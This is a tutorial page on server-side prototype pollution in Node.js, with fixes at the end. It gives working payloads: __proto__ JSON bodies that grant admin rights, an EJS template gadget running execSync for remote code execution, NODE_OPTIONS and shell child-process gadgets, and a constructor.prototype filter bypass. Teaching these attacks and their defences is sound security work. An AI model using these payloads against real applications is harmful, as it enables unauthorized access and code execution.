Prototype Pollution: The Complete Practical Guide
Server-Side Prototype Pollution
How server-side prototype pollution works in Node: a JSON body merged into config pollutes every object, flipping flags and reaching RCE through a gadget.
Published
Server-side prototype pollution takes a JSON body merged into config and poisons every object in a Node process, from flipping an auth flag to reaching remote code execution through a gadget. This page covers the attack and its RCE gadgets. Practice on a free live target.
The vulnerable pattern
Many Node apps deep-merge a JSON request body into an options or config object: a profile update, a settings save, a bulk import. If the merge walks keys and assigns through them, a __proto__ key in the body writes onto Object.prototype, which is shared by every object in the process.
Step 1 and 2: pollute via the body
Send the pollution to a body-merging endpoint with Content-Type: application/json:
POST /api/settings HTTP/1.1
Host: target.example
Content-Type: application/json
{"__proto__":{"isAdmin":true}}HTTP/1.1 200 OK
Content-Type: application/json
{"ok":true}Nothing visibly happens, but every object in the process now inherits isAdmin: true. A later request whose authorization check reads an inherited isAdmin is now privileged:
GET /api/admin/users HTTP/1.1
Host: target.example
Cookie: session=normaluserHTTP/1.1 200 OK
Content-Type: application/json
[{"id":1,"email":"[email protected]"},{"id":2,"email":"..."}]The check if (user.isAdmin) passed because user had no own isAdmin and inherited the polluted default.
Impact beyond flag flips
auth flips isAdmin / isAuthenticated / role read as an inherited default
DoS corrupt a default the app depends on (a required option, a limit)
RCE gadget set up a template or child_process gadget (below)RCE gadgets (with preconditions)
RCE needs a reachable gadget. Two well-known families:
Template gadget. Pollute a compile option the engine concatenates into code it evaluates. The classic is EJS outputFunctionName (CVE-2022-29078, EJS before 3.1.7), so the next render executes attacker code:
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');//"}}(process.mainModule is the published-PoC form and works in a CommonJS app started from a file. It is undefined under ESM or node --eval, so the gadget as written assumes a CommonJS entry point.) Pug and Handlebars have their own compile-internal gadgets. The precondition is a template render after the pollution.
Child-process gadget. Two distinct mechanisms with different mitigations.
NODE_OPTIONS through the environment. process.env reaches Object.prototype through its prototype chain, and Node's spawn code iterates the environment in a way that includes inherited keys, so a polluted NODE_OPTIONS is passed to a spawned Node child as a real environment variable. This survives the options-cloning fix below, but --require must point at a file that parses as JavaScript, so a writable path is the clean route. (--require=/proc/self/environ only works if you can also make that file valid JS, which is a second injection.)
{"__proto__":{"NODE_OPTIONS":"--require=/tmp/x.js"}}shell / execArgv through the options object. A later spawn/exec whose options object inherits a polluted shell or execArgv runs code. Modern Node hardened this (PR #48726 around v18.18/v20.6, and #53781) by cloning options with a null prototype, so it lands on older Node or apps still passing a pollutable options object.
{"__proto__":{"shell":"/bin/sh"}}The template gadget above is often the more dependable route.
Edge variants
{"constructor":{"prototype":{"isAdmin":true}}}
{"__proto__":{"json spaces":9}}The constructor.prototype form reaches the same object when __proto__ is filtered, and json spaces is a detection probe (next spoke).
Fixing it
- Deep-merge with helpers that skip
__proto__/constructor/prototype, or useObject.create(null)targets. - Schema-validate the body and reject those keys recursively before any merge.
- Keep Node and template engines current so known gadgets and the child_process vector are patched.
Full guidance is in preventing prototype pollution. This sits next to insecure deserialization in the Node-RCE family. Next, confirm a blind pollution in detecting server-side prototype pollution, or try it on a free lab.